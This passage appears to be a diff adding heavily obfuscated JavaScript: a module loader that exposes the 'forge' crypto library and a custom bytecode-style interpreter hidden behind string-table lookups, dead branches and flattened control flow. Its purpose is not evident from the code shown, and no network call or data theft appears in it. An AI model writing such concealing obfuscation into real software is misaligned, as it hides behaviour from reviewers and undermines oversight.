o[a("0x16a")](q, Q)), + H = le, + Y = xe, + J = (Z = o.SlGBU(H, Y)) * (X = le), + _ = o[a("0x13a")](z, J), + rr = he, + er = de, + tr = o[a("0x19e")](rr, er), + nr = he, + ar = o.KzZPi(tr, nr), + ir = o[a("0x11b")](_, ar), + or = o.CubMB(M, ir), + ur = k[K](or), + sr = o[a("0x12f")](S, w), + cr = Tr, + ur[sr](cr), + s += 20; + else if (o.TrYUV(o[a("0xa4")], a("0x1a0"))) + ; + else { + var E = function(r) { + var e = a + , t = {}; + t[e("0x1cf")] = function(r, e) { + return r * e + } + , + t.ffVuC = function(r, e) { + return r < e + } + , + t[e("0x3b")] = function(r, t) { + return o[e("0x149")](r, t) + } + ; + for (o[e("0x1d4")](r, 0); ; ) + return function(t, n) { + var a = e; + if (u.KyvBG(u[a("0x67")], u[a("0x67")])) + for (var i = u[a("0x17")](r, 2); ; ) + if (u[a("0x1d3")](i, 2)) { + if (!u[a("0x1d3")](i, 1)) + return; + i += (o = Rr, + s = n[Nr], + c = u[a("0x11d")](o, s), + f = wr, + v = u[a("0x29")](c, f), + V += v, + 1) + } else { + var o, s, c, f, v; + i -= 2 + } + else + ; + } + }; + s += 10 + } + else + ; + else if (o[a("0x13")](o[a("0x1e0")], o[a("0x1e0")])) + if (o[a("0xb0")](s, 24)) + if (o.JydeU(s, 20)) + if (o.FooQV(s, 18)) + o.EayDx(s, 17) ? s -= (g = Vr, + 6) : s -= (U = Kr, + 4); + else if (o[a("0x87")](o[a("0x141")], o.AaSfs)) { + if (o.LpxGx(s, 19)) + return; + var S, I, T, A, B, w, N, R, U, D, L, P, k, K, V, O, M, j, F, G, q, Q, W, z, H, Y, Z, X, J, _, rr, er, tr, nr, ar, ir, or, ur, sr, cr; + if (o.llyMM(o[a("0x80")], o[a("0x80")])) + s -= 17; + else + ; + } else + ; + else + o[a("0x129")](s, 22) ? s < 21 ? (I = qr, + s += 7) : (P = o[a("0x16e")](b, m) + C, + o.PgrWy(failedAlert, P), + P = o[a("0xd")](o[a("0x139")](y, p), g), + k = o[a("0x14c")]($, P), + K = o.GPFkw(d, h), + (O = Tr, + k)[K](O), + P = o[a("0x1bd")](x + l, v), + k = o[a("0x14c")]($, P), + K = Ir, + O = pe, + M = ce, + j = o[a("0x11b")](O, M), + F = de, + G = o[a("0x40")](j, F), + q = he, + Q = fe, + W = o.KzZPi(q, Q), + z = xe, + H = o[a("0xae")](W, z), + Y = o[a("0xbb")](G, H), + Z = k[K](Y), + X = o[a("0x187")](c, f), + J = Tr, + Z[X](J), + s -= 3) : o.NcatC(s, 23) ? (C = hr, + s -= 21) : s -= (p = Gr, + 23); + else if (o[a("0x1dc")](s, 28)) + if (o[a("0x2b")](s, 26)) + if (o[a("0x2b")](s, 25)) + s -= (w = Mr, + 13); + else { + var fr = o[a("0x1c1")](E, 6368 - 6365.9); + s -= 6 + } + else + o[a("0x2b")](s, 27) ? (h = yr, + s -= 3) : (T = Gr, + s += 2); + else if (o[a("0x41")](s, 30)) + o[a("0x41")](s, 29) ? s += (l = mr, + 3) : (A = Fr, + s -= 23); + else if (o.CqmmV(s, 31)) + s -= 18; + else + d = gr, + s -= 5; + else + ; + } else if (o[a("0x8f")] != o[a("0x8f")]) + ; + else { + if (!o[a("0x4c")](s, 34)) + return; + o[a("0x11c")](s, 33) ? s -= (v = br, + 24) : s -= (R = Vr, + 16) + } + } + }; + cr -= 6 + } else + ; + else + fr[a("0x178")](cr, 23) ? (_r = W, + cr += 19) : (Pr = B, + cr += 15); + else if (cr < 28) + if (fr[a("0x13f")](cr, 26)) + fr[a("0xf6")](cr, 25) ? cr += (gr = v, + 23) : cr += (re = H, + 12); + else if (fr[a("0x68")](fr[a("0x2a")], fr[a("0x2a")])) + if (fr.rBoqb(cr, 27)) { + var lr = vr; + cr += 25 + } else + cr += (pr = c, + 3); + else + ; + else + fr.tEgiW(cr, 30) ? fr[a("0x1e3")](cr, 29) ? (Qr = V, + cr += 5) : (ae = J, + cr -= 25) : fr[a("0x1e3")](cr, 31) ? (yr = f, + cr -= 6) : cr += (Or = U, + 11); + else + ; + else { + var dr, hr, pr, yr, gr, mr, Cr, br, Er, Sr, Ir, Tr, Ar, Br, wr, Nr, Rr, Ur, Dr, Lr, Pr, kr, Kr, Vr, Or, Mr, jr, Fr, Gr, qr, Qr, Wr, zr, Hr, Yr, Zr, Xr, Jr, _r, $r, re, ee, te, ne, ae, ie, oe, ue, se, ce, fe, ve, xe, le, de, he, pe, ye, ge, me, Ce, be, Ee, Se, Ie, Te, Ae, Be, we, Ne, Re, Ue, De, Le, Pe, ke, Ke, Ve, Oe, Me, je, Fe, Ge, qe, Qe, We; + if (fr[a("0x17e")] !== a("0xdc")) + if (fr[a("0xac")](cr, 48)) + if (cr < 40) + if (fr.qdWJp(fr[a("0xaa")], a("0x50"))) + ; + else if (fr.UAwfK(cr, 36)) + if (fr[a("0x107")](cr, 34)) + fr[a("0x107")](cr, 33) ? (Vr = R, + cr -= 1) : (Wr = O, + cr -= 24); + else if (fr[a("0xf2")](fr.engSU, a("0xe9"))) { + if (fr.CfZac(cr, 35)) + return; + var ze = fr[a("0x1b5")](xr, 7383 - 7352.9); + cr -= 9 + } else + ; + else + fr[a("0x166")](cr, 38) ? fr[a("0x166")](cr, 37) ? cr -= (Sr = p, + 17) : cr -= (ee = Y, + 30) : fr[a("0x166")](cr, 39) ? cr -= (kr = w, + 20) : (qr = K, + cr -= 11); + else + fr[a("0x166")](cr, 44) ? cr < 42 ? fr[a("0x1ba")](cr, 41) ? cr += (jr = L, + 9) : cr -= ($r = z, + 16) : fr[a("0x1ba")](cr, 43) ? (Mr = D, + cr -= 2) : (Ar = m, + cr -= 27) : fr[a("0xd1")](cr, 46) ? fr.wcpXv(cr, 45) ? (Tr = g, + cr -= 1) : (Cr = l, + cr -= 25) : fr[a("0xa9")](cr, 47) ? cr -= (Zr = G, + 43) : (mr = x, + cr -= 2); + else if (fr[a("0x1ec")] === fr[a("0xdd")]) + ; + else if (cr < 52) + if (fr[a("0xc6")](fr[a("0x1da")], "jTZIw")) + ; + else if (cr < 50) + fr[a("0x169")](cr, 49) ? (Dr = T, + cr += 2) : (Fr = P, + cr -= 41); + else if (fr[a("0xf7")] === fr.wUJnD) + ; + else if (fr[a("0x2f")](cr, 51)) + Lr = A, + cr -= 27; + else if ("yAZXz" === a("0x17b")) + ; + else + cr -= 50; + else if (fr[a("0x98")] === a("0xe")) + if (fr.KzDhT(cr, 54)) + fr[a("0x32")](cr, 53) ? (hr = s, + cr -= 25) : cr -= (Ur = I, + 5); + else if (fr[a("0x131")](fr[a("0xc2")], a("0xcb"))) + ; + else { + var He = fr[a("0x11f")](xr, 7457.1 - 7442); + cr -= 19 + } + else + ; + else + ; + } + } + }; + vr -= 2 + } + else if (cr[a("0x135")](cr[a("0x1a1")], cr.FMFOx)) + ; + else if (cr[a("0x6d")](vr, 11)) { + var hr = cr[a("0x48")](dr, 878 - 843.9); + vr -= 10 + } else + vr -= 7; + else if (cr[a("0x135")](a("0x163"), cr[a("0xfd")])) + if (vr < 14) + cr[a("0x6d")](vr, 13) ? vr -= 4 : vr -= 9; + else { + if (!cr[a("0x1a6")](vr, 15)) + return hr; + cr[a("0xe6")](t, 2) ? vr += 2 : vr += 5 + } + else + ; + else if (cr.eVQMh(vr, 18)) { + if (cr[a("0x1b8")](vr, 17)) + return xr; + vr += 1 + } else if (cr[a("0x15f")](cr[a("0x7d")], cr[a("0x31")])) { + if (cr[a("0x1b8")](vr, 19)) + return; + vr -= 2 + } else + ; + else + ; + } + }; + lr += 1 + } else if (fr("0x1bb") !== n[fr("0xb2")]) { + var hr = dr(3999 - 3989.9); + lr += 1 + } else + ; + } + }; + o += 7 + } + else + o < 3 ? o += (g = n[e("0x39")](x, y), + m = 5, + C = n[e("0x39")](g, m), + 8) : (c = 7, + f = 11, + v = n.fgzyc(c, f), + o += 3); + else + ; + else if (o < 6) { + if (n.AoEhq(o, 5)) + return; + o += (I = 11, + T = n[e("0x1aa")](S, I), + A = n.Ejyxs(C, T), + 4) + } else + n[e("0x13b")](o, 7) ? o += (x = n[e("0x85")](s, v), + l = 7, + d = 8, + 1) : o -= (h = n.fgzyc(l, d), + p = 6, + y = n.fgzyc(h, p), + 5); + else { + var s, c, f, v, x, l, d, h, p, y, g, m, C, b, E, S, I, T, A; + if (n[e("0x36")](n[e("0x1eb")], n[e("0x12")])) + if (n[e("0x13b")](o, 10)) + if (n[e("0x117")](n[e("0x1bf")], n[e("0x16d")])) + if (n[e("0x13b")](o, 9)) + if (n.hpcGG(e("0x15a"), n[e("0x81")])) + ; + else + o -= 8; + else + call(A), + o -= 5; + else + ; + else + o -= (b = 5, + E = 8, + S = n[e("0x1aa")](b, E), + 5); + else + ; + } + }() + } + } + , e = {}; + function t(n) { + var a = e[n]; + if (void 0 !== a) + return a.exports; + var i = e[n] = { + exports: {} + }; + return r[n](i, i.exports, t), + i.exports + } + t.g = function() { + if ("object" == typeof globalThis) + return globalThis; + try { + return this || new Function("return this")() + } catch (r) { + if ("object" == typeof window) + return window + } + }(), + (()=>{ + forge = t(79); + var r; + r = function(r, e, t, n, a, i, o, u, s, c, f, v, x, l, d, h, p, y, g, m, C, b, E, S, I, T, A, B, w, N, R, U, D, L, P, k, K, V, O, M, j, F, G, q, Q, W, z, H, Y, Z, X, J, _, $, rr, er, tr, nr, ar, ir, or, ur, sr, cr, fr, vr, xr, lr, dr, hr, pr, yr, gr, mr, Cr, br, Er, Sr, Ir, Tr, Ar, Br, wr, Nr, Rr, Ur, Dr, Lr, Pr, kr, Kr, Vr, Or, Mr, jr, Fr, Gr, qr, Qr, Wr, zr, Hr, Yr, Zr, Xr, Jr, _r, $r, re, ee, te, ne, ae, ie, oe, ue, se, ce, fe, ve, xe, le, de, he, pe, ye, ge, me, Ce, be, Ee, Se, Ie, Te, Ae, Be, we, Ne, Re, Ue, De, Le, Pe) { + var ke, Ke, Ve, Oe, Me, je, Fe, Ge, qe, Qe, We, ze, He, Ye, Ze, Xe, Je, _e, $e, rt, et, tt, nt, at, it, ot, ut, st, ct, ft, vt, xt, lt, dt, ht, pt, yt, gt, mt, Ct, bt, Et, St, It, Tt, At, Bt, wt, Nt, Rt, Ut, Dt, Lt, Pt, kt, Kt, Vt, Ot, Mt, jt, Ft, Gt, qt, Qt, Wt, zt, Ht, Yt, Zt, Xt, Jt, _t, $t, rn, en, tn, nn, an, on, un, sn, cn, fn, vn, xn, ln, dn, hn, pn, yn, gn, mn, Cn, bn, En, Sn, In, Tn, An, Bn, wn, Nn, Rn, Un, Dn, Ln, Pn, kn, Kn, Vn, On, Mn, jn, Fn, Gn, qn, Qn, Wn, zn, Hn, Yn, Zn, Xn, Jn, _n, $n, ra, ea, ta, na, aa; + function ia(r, e, t, n, i, o, c, l, y, m) { + var C, b, E, I, A, R, k, K, V, O, M, F, G, q, W, Z, X, _, cr, vr, lr, yr, mr, Cr, br, Sr, Ir, Ur, Dr, Pr, kr, Kr, jr, Gr, qr, Wr, zr, Hr, Zr, ee, te, ne, ae, ie, ue, ce, xe, le, he, ge, me, Ce, be, Ee, Ie, Ae, Be, we, Re, Ue, De, Le, Pe, ke, Ke, Ve, Oe, Me, je, Fe, Ge, qe, Qe, We, ze, He, Ye, Ze, Xe, Je, _e, $e, rt, et, tt, nt, at, it, ot, ut, st, ct, ft, vt, xt, lt, dt; + return e == oe ? (n ? t[Or][rr[sr]]() || t[de][rr[sr]]() : (C = t[Or], + b = rr[ur], + E = er, + C[b](E) || (I = t[de], + A = rr[ur], + R = er, + I[A](R)))) && void 0 : e == fe ? (t = {}) && (k = [], + t[Or] = k) && (K = [], + t[de] = K) && (V = er, + (t[wr] = V) || tr) && t : e == xr ? t ? n[N(n) - tr] : (O = n, + M = N(n), + F = i, + O[M - tr] = F) : e == re ? U(n, Jr) ? D(n, Jr) : U(n, hr) ? D(n, hr) : i ? Q(t, n) : D(n, Qr) : e == or ? (G = i = {}, + q = rr[_r], + W = t, + (G[q] = W) && i) : e == pe ? t[rr[Vr]] : e == Ar ? (Z = g[t[n]], + !(i = Z) || n != Jr && n != Qr ? i : t[rr[fe]] ? T[t[rr[fe]]] : (X = t, + _ = rr[fe], + cr = t[rr[nr]] + rr[fe] + (t[rr[Lr]] ^ Er), + ((X[_] = cr) || tr) && (vr = T, + lr = t[rr[fe]], + yr = nr, + mr = L(tr, i), + Cr = t[rr[Lr]], + br = L(yr, mr, Cr & Ne), + (vr[lr] = br) || tr) && T[t[rr[fe]]])) : e == Mr ? (Dr = n ? (Sr = t, + Ir = rr[Br], + Ur = n, + Sr[Ir](Ur)) : t, + Pr = P(Dr), + (o = Pr) && [i ? null : (kr = t, + Kr = rr[Br], + jr = n + o[tr], + Gr = n + o[er] + o[tr], + kr[Kr](jr, Gr)), n + o[er] + o[tr]]) : e == Nr ? (B += tr) && a : e == Te ? i && n != rr[Tr] ? (qr = w, + Wr = rr[pr], + zr = t, + Hr = n, + qr[Wr](zr, Hr)) : n in t : e == $r ? ((U(t, Qr) ? (Zr = $[er], + ee = D(t, Qr), + te = $[ir][n], + Zr[ee] = te) : U(t, Rr) ? (ne = $[er], + ae = t[Rr], + ie = D(ae, Qr), + ue = D(ie, Qr), + ce = $[ir], + xe = f(ce), + le = rr[Fr], + he = H, + ge = xe[le](he), + me = rr[Br], + Ce = n, + be = ge[me](Ce), + ne[ue] = be) : tr) || tr) && void 0 : e == Yr ? $[ir][t] : e == se ? t == tr ? (Ee = tr, + Ie = J(ar, n), + L(Ee, Ie)[er] ^ i & Ne) : t == nr ? (Ae = nr, + Be = tr, + we = J(ar, n), + Re = L(Be, we), + L(Ae, Re, i & Ne)) : t == ar ? (Ue = n, + De = rr[Xr], + Le = S, + Pe = rr[Mr], + ke = Ue[De](Le, Pe), + s(ke)) : void 0 : e == ye ? i == fr ? J(tr, t, n) : i == Qr ? J(ar, t) : i == sr ? null : i == Jr ? J(ar, t) : i == hr ? (Ke = J(nr, t, n), + v(Ke)) : i == Vr ? (Ve = J(tr, t, n), + Oe = u(Ve), + !!x(Oe)) : i == er ? (Me = J(nr, t, n), + h(Me)) : i == dr ? (je = J(nr, t, n), + ((o = je) || tr) && (Fe = o, + Ge = rr[Br], + qe = er, + Qe = o, + We = rr[or], + ze = rr[fe], + He = Qe[We](ze), + Ye = Fe[Ge](qe, He), + Ze = o, + Xe = rr[Br], + Je = o, + _e = rr[or], + $e = rr[fe], + rt = Je[_e]($e) + tr, + et = Ze[Xe](rt), + d(Ye, et))) : er : e == Se ? p++ && B++ : e == ve ? (tt = [], + nt = rr[gr], + at = t, + ot = [(it = {}, + it), o, i, c, l], + ut = [$ = ot], + (m = tt[nt](at, ut)) && (n !== rr[Jr] ? (st = y, + $[er][n] = st) : tr) && (ct = $[tr], + ft = rr[Fr], + vt = z, + ct[ft](vt)) && !(r - p) && (xt = m, + lt = $[nr], + dt = j(), + Q(xt, lt, dt))) : function r() { + return this, + Y(t, n, i, o, this, arguments, r) + } + } + function oa(r, e, t, n, a, i, o, s, f, v) { + var h, p, g, m, S, I, T, A, B, w, R, D, L, K, V, O, M, j, G, q, Q, W, z, H, Y, X, J, _, $, nr, ar, or, fr, gr, Cr, Er, Sr, Ir, Tr, wr, Rr, Ur, Dr, Pr, kr, Kr, Vr, Or, Mr, qr, zr, Hr, Zr, Xr, _r, $r, re, ee, ae, ie; + for (e == Br ? i = N(t) - tr : e == Lr ? !(o = er) && (i = N(t) - tr) : e == Ie ? (a = rr[Gr]) || (i = t) : e == pr ? !(n = er) && !(s = er) && (a = t[rr[br]](E)[er]) && ((i = a[rr[Br]](er, -tr)) || tr) && (o = a[rr[te]](N(a) - tr)) && ((n += C[rr[xr]](o)) || tr) && (f = N(i) - tr) : e == br ? (i = []) && (o = er) : e == le ? (t = t[rr[br]](d(E, rr[tr]))) && (n = t[rr[Br]](tr, -tr)) && (a = []) && n[rr[Fr]](function(r) { + var e, t, n, u; + for (((i = P(r)[er][rr[cr]](yr)) || tr) && !(s = er) && (o = cr - N(i)); s < o; s++) + t = (e = rr)[ne], + i = u = t + (n = i); + e = a, + n = rr[t = ur], + u = i, + e[n](u) + }) && !(s = er) && (f = P(t[rr[Br]](-tr)[er])[er][rr[cr]](yr)) : e == Wr && (n = k(t, er)) && ((a = n[er]) || tr) && ((i = n[tr]) || tr) && ((a = Z(a)) || tr) && (r[rr[vr]] = ia[rr[Ar]](tr, r, Se)) && (r[rr[cr]] = ia[rr[Ar]](tr, r, Nr)); e == Br || e == Lr ? i >= er : e == Ie ? i < n : e == pr ? f >= er : e == br ? o < N(n) : e == le ? s < P(t[rr[Br]](er, tr)[er])[er] - N(n) * cr - N(f) : e == Wr ? N(a) : er; e == Br ? i-- : e == Lr ? o++ && i-- : e == Ie ? i++ : e == pr ? f-- : e == br ? o++ : e == le ? s++ : er) + if ((h = e) == Br ? (p = t[i][er], + ie = U(p, n, g = tr) && (f = !0) && (m = t[i][er], + S = a, + I = m[n] = S, + (s = I) || tr) && f) : ie = e == (T = Lr) ? o == (A = er) && ((n == (B = rr)[Jr] ? (f = !0) && (s = null) : (w = n) == rr[R = hr] ? (f = !(D = 0)) && (K = F(L = tr, t)[ir], + s = K) : n == (O = rr[V = jr]) ? (0, + !0, + (f = !0) && (M = t[er][sr], + s = M)) : er) || tr) && f || ((i == er && n == rr[lr] ? (0, + !0, + (f = !0) && (j = t[er][er], + s = j)) : (G = t[i][er], + U(G, n, tr) ? (0, + !0, + (f = !0) && (q = t[i][er][n], + s = q)) : er)) || tr) && f || i == er && ((n == rr[mr] ? (0, + !0, + (f = !0) && (Q = a && typeof exports == rr[Yr] ? void 0 : exports, + s = Q)) : n == rr[dr] ? (0, + !0, + (f = !0) && (W = a && typeof module == rr[Yr] ? void 0 : module, + s = W)) : n == rr[ce] ? (0, + !0, + (f = !0) && (z = a && typeof require == rr[Yr] ? void 0 : require, + s = z)) : (H = t[i][er][n], + ((s = H) || tr) && (s || n in t[i][er]) && (0, + !0, + f = !0))) || tr) && f : e == Ie ? (Y = u(i), + (a += Y) && er) : e == pr ? (X = b, + J = rr[xr], + _ = f, + $ = i[rr[te]](_), + nr = X[J]($), + ar = N(b), + ((n += nr * l(ar, s) * N(C)) || tr) && s++ && er) : e == br ? (or = i, + fr = o, + Ir = t == tr ? (gr = n, + Cr = rr[yr], + Er = o, + gr[Cr](Er)) : (Sr = n[o], + u(Sr ^ a)), + (or[fr] = Ir) && er) : e == le ? (f = rr[ne] + f) && er : e == Wr ? (Tr = a, + wr = rr[Br], + Rr = er, + Ur = tr, + Dr = Tr[wr](Rr, Ur), + (f = x(Dr, yr)) && (Pr = a, + kr = rr[Br], + Kr = tr, + Vr = tr + f, + Or = Pr[kr](Kr, Vr), + (v = x(Or, yr)) || tr) && (o = tr + f) && (s = o + v) && (Mr = y, + qr = rr[ur], + zr = a, + Hr = rr[Br], + Zr = o, + Xr = s, + _r = zr[Hr](Zr, Xr), + Mr[qr](_r)) && ($r = a, + re = rr[Br], + ee = s, + ae = $r[re](ee), + a = ae) && er) : er, + ie) + return h = s; + if ((ie = (h = e) == Lr) && (ie = !a), + ie) + throw h = n, + ie = rr[Qr], + c(h + ie); + return (h = e) == Br ? (p = t[er][er], + g = a, + ie = p[n] = g) : ie = e == Ie ? a : e == pr ? [n, m = N(a)] : (I = e == (S = br)) ? t == tr ? i : (T = i, + A = rr[Wr], + B = rr[Gr], + T[A](B)) : e == le ? (w = f, + a[rr[ur]](w) && (R = a, + D = rr[Wr], + L = rr[Gr], + R[D](L))) : e == Wr ? (K = t, + V = rr[Br], + O = i, + K[V](O)) : void 0, + ie + } + function Q(r, e, t, a, u, s, c, f, v, x, d, h, y, g, m, C, b, E, S, I, T, A, B, w, R, L, P, k, W, z) { + var H, Y, Z, X, J, _, $, re, te, oe, se, fe, ve, le, pe, ye, Se, Ie, Te, Ae, Be, we, Ne, Re, Ue, De, Le, Pe, ke, Ke, Ve, Oe, Me, je, Fe, Ge, qe, Qe, We, ze, He, Ye, Ze, Xe, Je, _e, $e, rt, et, tt, nt, at, it, ot, ut, st, ct, ft, vt, xt, lt, dt, ht, pt, yt, gt, mt, Ct, bt, Et, St, It, Tt, At, Bt, wt, Nt, Rt, Ut, Dt, Lt, Pt, kt, Kt, Vt, Ot, Mt, jt, Ft, Gt, qt, Qt, Wt, zt, Ht, Yt, Zt, Xt, Jt, _t, $t, rn, en, tn, nn, an, on, un, sn, cn, fn, vn, xn, ln, dn, hn, pn, yn, gn, mn, Cn, bn, En, Sn, In, Tn, An, Bn, wn, Nn, Rn, Un, Dn, Ln, Pn, kn, Kn, Vn, On, Mn, jn, Fn, Gn, qn, Qn, Wn, zn, Hn, Yn, Zn, Xn, Jn, _n, $n, ra, ea, ta, na, aa, ia, oa, ua, sa, ca, fa, va, xa, la, da, ha, pa, ya, ga, ma, Ca, ba, Ea, Sa, Ia, Ta, Aa, Ba, wa, Na, Ra, Ua, Da, La, Pa, ka, Ka, Va, Oa, Ma, ja, Fa, Ga, qa, Qa, Wa, za, Ha, Ya, Za, Xa, Ja, _a, $a, ri, ei, ti, ni, ai, ii, oi, ui, si, ci, fi, vi, xi, li, di, hi, pi, yi, gi, mi, Ci, bi, Ei; + return H = t, + Y = t[rr[nr]], + Z = H[f = Y], + (X = v = Z) && (X = f == Ar), + X ? function() { + var r, t; + throw r = e, + t = v[er], + Q(r, t) + }() : f == Mr ? void function() {} + : f == fr || f == Jr || f == hr || f == Vr || f == sr || f == er || f == dr ? D(t, f) : f == qr ? (J = function(r) { + Q(e, r) + } + , + v[rr[Fr]](J)) : f == Yr ? (_ = v[er], + U(_, Gr) ? ($ = e, + re = v[tr], + te = Q($, re), + ((w = te) || tr) && (oe = function(r, t) { + var n, a, i; + n = F(tr, e)[er], + a = D(r, Qr), + i = w[t], + n[a] = i + } + , + v[er][Gr][rr[Fr]](oe))) : (se = v[er], + fe = D(se, Qr), + (B = fe) && (ve = e, + le = v[tr], + pe = Q(ve, le), + (w = pe) || tr) && (ye = v[tr], + U(ye, fr) && (Se = v[tr], + D(Se, fr) == Ee) ? (Ie = F(tr, e)[er], + Te = B, + Ae = F(tr, e)[er][B], + Ie[Te] = Ae) : (Be = F(tr, e)[er], + we = w, + Be[B] = we)))) : f == $r ? (Ne = function(r) { + Q(e, r, a) + } + , + v[rr[Fr]](Ne)) : f == ar ? a ? (Re = er, + Ue = a[Or], + F(Re, Ue, tr)) : er : f == or ? a ? (De = er, + Le = a[de], + F(De, Le, tr)) : er : f == Nr || f == ir ? function(r, t, n, i, o) { + var u, s, c, x, l, d; + for (((n = f == Nr ? j() : a) || tr) && !(i = er) && (t = v[rr[Dr]](function(t) { + var n; + return t[_r] ? Q(e, t) && null : !t[qr] || (n = function(t) { + var n, a, i, o, u; + n = t[Yr][er], + a = D(n, Qr), + (i = !(r = a)) && (i = !tr), + (u = i) || (o = F(tr, e)[er], + u = U(o, r)), + u || (void 0, + u = F(tr, e)[er][r] = void 0) + } + , + t[qr][rr[Fr]](n) && (0, + !0)) + })); i < N(t); i++) { + if (u = tr, + s = n[de], + F(u, s)) { + u = er, + s = n[de], + F(u, s, er); + break + } + if (u = e, + s = t[i], + (c = o = Q(u, s, n)) || (c = tr), + (d = c) && (x = tr, + l = n[Or], + d = F(x, l)), + d) + break; + if ((u = n)[wr]) + return u = o + } + }() : f == Wr || f == Lr ? function(r, t, n) { + var i, o, u, s, c, x, l, d, h, p, y, g; + function m(r, e, t, n, a) { + var i; + i = function(e, i) { + var o, u, s, c, f, v; + U(e, t) ? m(r, e, t, n[i], a) : U(e, Qr) && (a ? (o = F(tr, r)[er], + u = D(e, Qr), + s = n[i], + o[u] = s) : (c = r, + f = D(e, Qr), + v = n[i], + V(c, f, v))) + } + , + e[t][rr[Fr]](i) + } + function C(r, e, t, n, a) { + var i; + i = function(e) { + var t, i, o, u, s, c; + t = e[Yr][er], + (i = a = t) || (i = tr), + (o = i) && (o = U(a, Qr)), + o ? (u = F(tr, r)[er], + s = D(a, Qr), + c = n, + u[s] = c) : U(a, Gr) && m(r, a, Gr, n, tr) + } + , + e[t][rr[Fr]](i) + } + for (t in !O(a) && (r = Q(e, v[tr]))) { + if (f == Lr && (t = r[t]) && er || (i = v[er], + U(i, Qr)) ? (o = e, + u = v[er], + s = D(u, Qr), + V(o, s, t)) : (c = v[er], + U(c, Gr) ? m(e, v[er], Gr, t) : (x = v[er], + U(x, qr) && C(e, v[er], qr, t))), + l = e, + d = v[nr], + ((n = Q(l, d, a)) || tr) && (h = tr, + p = a[Or], + F(h, p))) + break; + if (y = tr, + g = a[de], + F(y, g)) + y = er, + g = a[de], + F(y, g, er); + else if ((y = a)[wr]) + return y = n + } + O(y = a, tr) + }() : f == Hr ? function() { + var r, t; + for (O(a) || Q(e, v[er]); Q(e, v[tr]) && (!(A = Q(e, v[ar], a)) && !tr || !F(tr, a[Or])); Q(e, v[nr])) + if (r = tr, + t = a[de], + F(r, t)) + r = er, + t = a[de], + F(r, t, er); + else if ((r = a)[wr]) + return r = A; + O(r = a, tr) + }() : f == xr || f == vr ? function(r) { + var t, n, i, o; + for ((f == vr ? r = !0 : tr) && O(a); (!r || Q(e, v[er], a, er, er, tr)) && (!(A = Q(e, v[tr], a)) && !tr || !F(tr, a[Or])); ) + if ((o = r = !(t = 0)) && (n = tr, + i = a[de], + o = F(n, i)), + o) + t = er, + o = a[de], + F(t, o, er); + else if ((t = a)[wr]) + return t = A; + O(t = a, tr) + }() : f == Or ? function(r, t, n) { + var i, o, u, s, c, f, x, l, d, h, p; + try { + i = e, + o = v[er], + t = s = Q(i, o, u = a) + } catch (r) { + i = e, + o = v[tr], + t = c = Q(i, o, u = a, s = r) + } finally { + return (u = o = r = (i = a)[wr]) || (u = tr), + (s = u) && (f = er, + s = !(a[wr] = f)), + (c = s) && (x = e, + l = v[nr], + c = (n = Q(x, l, a)) || tr), + (d = c) && (d = a[wr]), + d ? p = n : (h = r, + p = (a[wr] = h) && t), + p + } + }() : f == Er ? function(r, t, n, i, o, u, s, c) { + var f, x, l, d, h, p, y, g, m; + for ((t = v[rr[Br]](tr)) && !(n = !1) && !(i = !1) && !(o = er) && ((r = Q(e, v[er])) || tr) && O(a); o < N(t) && !F(tr, a[de]); o++) + if (f = e, + x = t[o], + (d = s = l = Q(f, x, r)) || (d = tr), + (y = d) && (y = (h = r) === (p = s[er])), + y ? (0, + !0, + g = n = !0) : g = tr, + (m = g) && (m = n), + m) { + for (u = er; u < N(s[tr]); u++) { + if (f = e, + l = (x = s[tr])[u], + (g = y = c = d = Q(f, l, a)) || (g = tr), + (m = g) && (h = tr, + p = a[Or], + m = F(h, p)), + m) { + i = !(f = 0); + break + } + if ((f = a)[wr]) + return f = c + } + if (f = i) + break + } + O(f = a, tr) + }() : f == zr ? (Pe = v[er], + Oe = U(Pe, Qr) && (ke = v[er], + D(ke, Qr) == rr[Jr]) ? a : (Ke = e, + Ve = v[er], + Q(Ke, Ve)), + Me = v, + je = rr[Br], + Fe = tr, + [Oe, Me[je](Fe)]) : f == Qr ? (Ge = e, + qe = D(t, f), + K(Ge, qe)) : f == wr ? (x = {}) && (Qe = x, + We = v[er], + ze = u, + (Qe[D(We, Qr)] = ze) || tr) && (null, + He = [x, null], + e[rr[ur]](He)) && (Ye = e, + Ze = v[tr], + Xe = Q(Ye, Ze, a), + (A = Xe) || tr) && (e[rr[sr]]() || tr) && (a[wr] ? A : void 0) : f == Ur ? (Je = function(r) { + return Q(e, r)[rr[cr]]() + } + , + _e = v[rr[Fr]](Je), + $e = rr[Wr], + rt = rr[Gr], + _e[$e](rt)) : f == Br ? (et = e, + tt = v[er], + Q(et, tt)) : f == cr ? (nt = v[er], + at = D(nt, fr), + ((g = at) || tr) && (h = v[tr]) && (y = function(r, e, t, n, a, i, o, u) { + var s, c, f, v, x, d, h, p, y, g, m, C; + return U(t, yr) ? (0, + !0, + p = (i = !0) && (u = t[yr]) && (s = r, + c = u[er], + o = Q(s, c)) && (f = r, + v = u[tr], + x = r, + d = u[nr], + h = Q(x, d), + u = G(f, v, h == be))) : p = t = D(t, Qr), + (y = p) || (y = a), + (g = y) && (g = n = Q(r, n)), + (m = g) || (m = tr), + (C = m) && (C = e == ie ? i ? o[u] = n : V(r, t, n) : e == Zr ? i ? o[u] += n : V(r, t, K(r, t) + n) : e == er ? i ? o[u] -= n : V(r, t, K(r, t) - n) : e == sr ? i ? o[u] *= n : V(r, t, K(r, t) * n) : e == dr ? i ? o[u] /= n : V(r, t, K(r, t) / n) : e == Vr ? i ? o[u] %= n : V(r, t, K(r, t) % n) : e == he ? i ? o[u] <<= n : V(r, t, K(r, t) << n) : e == Fr ? i ? o[u] >>= n : V(r, t, K(r, t) >> n) : e == Ur ? i ? o[u] >>>= n : V(r, t, K(r, t) >>> n) : e == fr ? i ? o[u] &= n : V(r, t, K(r, t) & n) : e == Xr ? i ? o[u] |= n : V(r, t, K(r, t) | n) : e == tr ? i ? o[u] ^= n : V(r, t, K(r, t) ^ n) : e == hr ? i ? o[u] = l(o[u], n) : V(r, t, l(K(r, t), n)) : void 0), + C + } + ) && (U(h, Gr) ? (it = e, + ot = v[nr], + ut = Q(it, ot), + st = function(r, t) { + var n, a, i, o; + return n = e, + a = g, + i = r, + o = d[t], + y(n, a, i, o) + } + , + (d = ut)[Gr][rr[Fr]](st)) : (ct = e, + ft = g, + vt = h, + xt = v[nr], + y(ct, ft, vt, xt, tr)))) : f == Ir ? (lt = e, + dt = v[er], + Q(lt, dt)) : f == Zr ? function(r, t, n, a, i) { + var o, u, s, c, f, x, l; + for ((r = []) && !(t = er) && (a = er); t < N(v); t++) + if (u = (o = v)[t], + f = !(c = U(u, s = 